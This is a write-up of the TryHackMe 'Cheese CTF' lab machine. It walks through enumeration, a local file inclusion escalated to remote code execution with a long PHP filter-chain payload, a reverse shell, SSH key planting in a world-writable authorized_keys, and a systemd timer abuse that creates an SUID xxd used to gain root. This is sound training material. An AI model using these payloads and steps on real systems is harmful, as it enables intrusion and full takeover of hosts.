Post

TryHackMe: Cheese CTF

Cheese CTF is a TryHackMe easy machine where it starts finding an LFI vulnerability leading to RCE, escalate our privileges through a writable authorized_keys for then to manipulate a .timer service unit to escalate to root.

🔗 Room Link: https://tryhackme.com/r/room/cheesectfv10


Enumeration

Nmap Scan

Starting with an nmap on 10.10.212.189.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# nmap 10.10.212.189 -T4 -oN cheese.nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-25 09:37 UTC
Nmap scan report for ip-10-10-212-189.eu-west-1.compute.internal (10.10.212.189)
Host is up (0.00070s latency).

PORT      STATE SERVICE
1/tcp     open  tcpmux
3/tcp     open  compressnet
4/tcp     open  unknown
6/tcp     open  unknown
7/tcp     open  echo
9/tcp     open  discard
13/tcp    open  daytime
17/tcp    open  qotd
19/tcp    open  chargen
20/tcp    open  ftp-data
21/tcp    open  ftp
[...]
65000/tcp open  unknown
65129/tcp open  unknown
65389/tcp open  unknown
MAC Address: 02:FA:1A:7B:56:F9 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 3.54 seconds

Looking at the results we can see that we have a port spoofing going on, the results won’t help us much.

Web Application - 80

Taking a look at http://10.10.212.189 we get a web app for a cheese shop.

Screenshot

Trying all available links on the top of the page we get a hit clicking on Login that redirects us to a login page. Trying basic login credentials such as admin:admin, root:root, etc.. didn’t help us much as well.

Running a Gobuster on the web app to look for files/directories we did find some.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# gobuster dir -u http://10.10.212.189 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,html -r -t 100 -b 404,403
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.212.189
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes:   404,403
[+] User Agent:              gobuster/3.2.0-dev
[+] Extensions:              php,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2024/09/25 09:44:03 Starting gobuster in directory enumeration mode
===============================================================
/users.html           (Status: 200) [Size: 377]
/orders.html          (Status: 200) [Size: 380]
/.                    (Status: 200) [Size: 1759]
/login.php            (Status: 200) [Size: 834]
/messages.html        (Status: 200) [Size: 448]
/images               (Status: 200) [Size: 1348]
/index.html           (Status: 200) [Size: 1759]
Progress: 181999 / 189264 (96.16%)===============================================================
2024/09/25 09:44:17 Finished
===============================================================

Looking at each one of the files we found something interesting at /messages.html, we did find a message that redirects us to http://10.10.212.189/secret-script.php?file=php://filter/resource=supersecretmessageforadmin once we click on it.

Eploitation

Initial Foothold

Looking at the URL we have a Local File Inclusion (LFI)! having that in mind, we first start by looking for exisiting users on the box by leaking the /etc/passwd file.

1
2
3
4
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# curl http://10.10.212.189/secret-script.php?file=/etc/passwd -s | grep sh$
root:x:0:0:root:/root:/bin/bash
comte:x:1000:1000:comte:/home/comte:/bin/bash

We did find 2, root and comte next thing we did is to leak the /login.php source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# curl http://10.10.212.189/secret-script.php?file=php://filter/convert.base64-encode/resource=/var/www/html/login.php -s | base64 -d
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
    <link rel="stylesheet" href="login.css">
</head>
<body>
    <div class="login-container">
        <h1>Login</h1>
        
        <form method="POST">
            <div class="form-group">
                <label for="username">Username</label>
                <input type="text" id="username" name="username" required>
            </div>
            <div class="form-group">
                <label for="password">Password</label>
                <input type="password" id="password" name="password" required>
            </div>
            <button type="submit">Login</button>
        </form>
        
    </div>
    <?php
// Replace these with your database credentials
$servername = "localhost";
$user = "comte";
$password = "[REDACTED]";
$dbname = "users";

// Create a connection to the database
$conn = new mysqli($servername, $user, $password, $dbname);

// Check the connection
if ($conn->connect_error) {
    echo $conn->connect_error;
    die("Connection failed: " . $conn->connect_error);

}

// Handle form submission
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST["username"];
    $pass = $_POST["password"];
    function filterOrVariations($input) {
     //Use case-insensitive regular expression to filter 'OR', 'or', 'Or', and 'oR'
    $filtered = preg_replace('/\b[oO][rR]\b/', '', $input);
    
    return $filtered;
}
    $filteredInput = filterOrVariations($username);
    //echo($filteredInput);
    // Hash the password (you should use a stronger hashing algorithm)
    $hashed_password = md5($pass);
    
    
    // Query the database to check if the user exists
    $sql = "SELECT * FROM users WHERE username='$filteredInput' AND password='$hashed_password'";
    $result = $conn->query($sql);
    $status = "";
    if ($result->num_rows == 1) {
        // Authentication successful
        $status = "Login successful!";
         header("Location: secret-script.php?file=supersecretadminpanel.html");
         exit;
    } else {
        // Authentication failed
         $status = "Login failed. Please check your username and password.";
    }
}
// Close the database connection
$conn->close();
?>
<div id = "status"><?php echo $status; ?></div>
</body>
</html>

We found database credentials but we couldn’t do much with them. Next thing we thought of is getting Remote Code Execution (RCE) through the PHP Wrappers. After trying some payloads none of them worked so we decided to look for more over the internet and we found this Github Repository that lists many payloads we could use and we got one that works!

1
2
3
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# curl "http://10.10.212.189/secret-script.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd" -s | strings
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Setting up a reverse shell, URL-encode it we did manage to get a shell.

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop/TryHackMe/CheeseCTF]
└─# nc -lnvp 9001                         
listening on [any] 9001 ...
connect to [10.10.205.91] from (UNKNOWN) [10.10.212.189] 39928
bash: cannot set terminal process group (844): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cheesectf:/var/www/html$ 

Lateral Movement - Comte

Looking for any priv escalation vectors we did find something interesting and odd at the same time. Grabbing Linpeas and running it on the target machine we did find an authorized_keys file on comte with write permission so we could insert our public key in there and get a shell through ssh.

1
2
3
4
5
6
www-data@cheesectf:/var/www/html$ ls -la /home/comte/.ssh/authorized_keys
ls -la /home/comte/.ssh/authorized_keys
-rw-rw-rw- 1 comte comte 0 Mar 25  2024 /home/comte/.ssh/authorized_keys
www-data@cheesectf:/var/www/html$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDA9e1/Y/dXlrzqk/vsVzHYO0W49QlJ3kiKxKMp6e17XPUSWS81qkL/Pl5mWL1GOWukZxpfV6vpgrT/QbtuPKBiB92vrZUoXMKzUwr+XsfGINkx9SZ/xajwJeTvUgy57knjYs3Tzjw0tbZaHfEyUui63aidrrx8nDGSG6tidz6QOsCsG3xJkoA3/AkXQEcpZIapKA1WDQ9U3/vlPNwH1LlqBe5kEfzmhiws7z9YRJtU6X/NSaYfwPwAiaqopHKLcQJQR8xHX4+wH9WpE9p5TC4+nH7PSlLKdTB0EKG1zIWCuDV3wO4ce8W2shushK0ZtEkOhKRWNJM2oDK+sK7f3sz0nxVJ8r9xW926RD8kHd9v2OvNFSWd3Y0+v4dIL+IdvEg8Ft3a8nYrrMIWn/14Idb7bCNwluHsWZJYjyG2YIeRJjzgD4kPwrlEm83RmOVnAoB1/61G9FEIMSGWBD7EiTIYGVNwCNta53lz9OMmcJ/q7StlqrnOlN/9R3/J2IdLcVU= root@kali' > /home/comte/.ssh/authorized_keys
<LcVU= root@kali' > /home/comte/.ssh/authorized_keys
www-data@cheesectf:/var/www/html$ 

Connecting using ssh to comte we were able to log in without password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/.ssh]
└─# ssh comte@10.10.212.189
The authenticity of host '10.10.212.189 (10.10.212.189)' can't be established.
ED25519 key fingerprint is SHA256:nWj+UMtYHumOMJDU95t5EEf4vdpEikmyKCDmfnCcYF0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.212.189' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-174-generic x86_64)

[...]

Last login: Thu Apr  4 17:26:03 2024 from 192.168.0.112
comte@cheesectf:~$ ls
snap  user.txt
comte@cheesectf:~$ 

Privilege Escalation - Root

Once on the box on a stable shell, we started looking for any vectors to get root. Looking at the sudo permissions we did find quite some.

1
2
3
4
5
6
7
8
9
10
comte@cheesectf:~$ sudo -l
User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer
comte@cheesectf:~$ ls -la /etc/systemd/system/exploit.*
-rw-r--r-- 1 root root 141 Mar 29 15:36 /etc/systemd/system/exploit.service
-rwxrwxrwx 1 root root 109 Sep 25 10:46 /etc/systemd/system/exploit.timer
comte@cheesectf:~$ 

So we have a .timer unit that we can manipulate and read/modify/execute. Timers are, according to Hacktricks, systemd unit files whose name ends in .timer that control .service files or events. Timers can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously.

Looking at the service to see what it does and it’s copying the xxd binary to /opt and setting an SUID on it as well as making it executable.

1
2
3
4
5
6
7
comte@cheesectf:~$ cat /etc/systemd/system/exploit.service
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

Running the commands using sudo from sudo -l will give us an error.

1
2
Failed to start exploit.timer: Unit exploit.timer has a bad unit file setting.
See system logs and 'systemctl status exploit.timer' for details.

This is due to the OnBootSec value not being there and mentioned which defines a timer relative to when the machine was booted up, setting it to 1 for example will make the command work.

1
2
3
4
5
6
7
8
9
[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=1
Unit=exploit.service

[Install]
WantedBy=timers.target

Once we start the timer using sudo /bin/systemctl start exploit.timer and check /opt we can see the xxd binary there being executable and having an SUID on. Using that to send our public key to root’s authorized_keys.

1
2
3
4
5
6
comte@cheesectf:~$ ls -la /opt
total 28
drwxr-xr-x  2 root root  4096 Sep 25 10:45 .
drwxr-xr-x 19 root root  4096 Sep 27  2023 ..
-rwsr-sr-x  1 root root 18712 Sep 25 10:45 xxd
comte@cheesectf:~$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDA9e1/Y/dXlrzqk/vsVzHYO0W49QlJ3kiKxKMp6e17XPUSWS81qkL/Pl5mWL1GOWukZxpfV6vpgrT/QbtuPKBiB92vrZUoXMKzUwr+XsfGINkx9SZ/xajwJeTvUgy57knjYs3Tzjw0tbZaHfEyUui63aidrrx8nDGSG6tidz6QOsCsG3xJkoA3/AkXQEcpZIapKA1WDQ9U3/vlPNwH1LlqBe5kEfzmhiws7z9YRJtU6X/NSaYfwPwAiaqopHKLcQJQR8xHX4+wH9WpE9p5TC4+nH7PSlLKdTB0EKG1zIWCuDV3wO4ce8W2shushK0ZtEkOhKRWNJM2oDK+sK7f3sz0nxVJ8r9xW926RD8kHd9v2OvNFSWd3Y0+v4dIL+IdvEg8Ft3a8nYrrMIWn/14Idb7bCNwluHsWZJYjyG2YIeRJjzgD4kPwrlEm83RmOVnAoB1/61G9FEIMSGWBD7EiTIYGVNwCNta53lz9OMmcJ/q7StlqrnOlN/9R3/J2IdLcVU= root@kali' | xxd | /opt/xxd -r - /root/.ssh/authorized_keys

Connecting to root using ssh we were able to retrieve the root flag and root the box!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(root㉿kali)-[~]
└─# ssh root@10.10.212.189
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-174-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 25 Sep 2024 11:04:36 AM UTC

  System load:  0.32               Processes:             148
  Usage of /:   31.2% of 18.53GB   Users logged in:       1
  Memory usage: 10%                IPv4 address for ens5: 10.10.212.189
  Swap usage:   0%


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

47 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Apr  4 17:21:43 2024
root@cheesectf:~# ls
root.txt  snap
root@cheesectf:~# 
This post is licensed under CC BY 4.0 by the author.